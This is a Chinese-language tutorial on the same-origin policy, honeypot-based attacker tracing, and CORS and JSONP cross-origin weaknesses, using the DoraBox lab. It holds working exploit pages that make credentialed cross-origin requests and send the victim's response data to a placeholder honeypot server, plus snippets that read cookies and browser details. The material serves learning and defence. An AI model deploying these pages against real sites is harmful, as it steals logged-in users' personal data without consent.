一、同源策略
同源策略简而言之就是
协议、域名、端口都相同
同源策略是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript的浏览器都会使用这个策略,同源策略用于限制从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。(DOM、Cookie、三方插件以及XML HttpRequest),其中带src属性的标签不受同源策略的限制
- 这些标签不受同源策略影响
![]()
- ,

场景1:
百度网盘能从百度中获取到登录信息
CSDN不能从百度中获取到登录信息

场景2:

同源策略测试:
req = new XMLHttpRequest() req.open("GET","https://www.baidu.com") req.send()
|

如果www.baidu.com存在跨域缺陷,同源策略就会杯打破。
二、蜜罐溯源
web蜜罐收集个人信息使用技术主要有两种,分别是JSONP跨域劫持和XSS。在学习jsonp之前,需要了解浏览器的同源策略
蜜罐要做的就是找到很多网站的跨域漏洞,且这些跨域漏洞能够获取用户的信息,例如qq号、手机号、邮箱号、百度ID、微博ID、googleID、搜狗ID、360ID、联想ID等(如何时候公开厂商漏洞都属于违法行为,所有开源的漏洞都没有这个功能),如果踩到蜜罐的黑客浏览器中已经登录了这些网站,就会被获取到敏感信息,从而被溯源。

三、跨域隐患
3.1、CORS
使用靶场DoraBox
CORS是一个W3C标准,允许浏览器向跨域服务器发出的XMLHttpReques请求


<!DOCTYPE html> <html> <head> <title>CORS TEST</title> </head> <body> <div id='output'></div> <script type="text/javascript"> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','有CORS漏洞的网站',true); req.withCredentials =true; req.send(); function reqListener(){ new Image().src="http://蜜罐服务器IP:10002/"+ window.btoa(unescape(encodeURIComponent(JSON.stringify(req.responseText))))
}; </script> </body> </html>
|
在这个html相同目录下开启python http服务,进行,访问蜜罐设置的地址,就可以获取到用户信息了




使用base64解码后,就可以看到用户信息

3.2、JSONP
JSONP是JSON with padding(填充式JSON或参数式JSON),是一种为了跨域获取资源而产生的一种技术手段。这是一种非官方的协议
JSONP实现跨域的原理:
同源策略限制了不同源的站点通过ajax获取信息,但是web页面调用js文件则不受跨域的影响并且凡是拥有src属性的标签都都可以跨域请求,如script,img等标签。JSON正是利用这种原理去实现跨域请求。
JSON劫持:
从JSONP的原理中可以看出这种方式实现了数据的跨域访问,如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B 便存在JSONP 漏洞,网站A 利用JSONP漏洞能够获取用户在网站B上的数据。
这种漏洞与CSRF非常相似,只不过CSRF只是发送数据去达到一定的目的,而JSONP劫持是为了获取返回的敏感数据。
// jsonp 演示页面 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body> <script> function test(json){ new Image().src="http://蜜罐服务器IP:10002/"+ JSON.stringify(json)
} </script> <script src="有jsonp漏洞的网站url"> </script> </body> </html>
|




四、JS获取敏感信息
// 获取当前访问页面的cookie信息 document.cookie // 获取当前访问的url window.location.href // 获取当前访问的路径 window.location.pathname // 加载新的页面 window.location.assign("http://xxxx");
// navigator 对象 (蜜罐) txt ="<p>浏览器代号: "+ navigator.appCodeName +"</p>"; txt+="<p>浏览器名称: "+ navigator.appName +"</p>"; txt+="<p>浏览器版本: "+ navigator.appVersion +"</p>"; txt+="<p>启用Cookies: "+ navigator.cookieEnabled +"</p>"; txt+="<p>硬件平台: "+ navigator.platform +"</p>"; txt+="<p>用户代理: "+ navigator.userAgent +"</p>"; txt+="<p>用户代理语言: "+ navigator.language +"</p>";
// 弹窗 alert("hello"); // 确认弹窗 confirm("xxx"); // 输入框 prompt("请输入你的名字","Harry Potter");
|

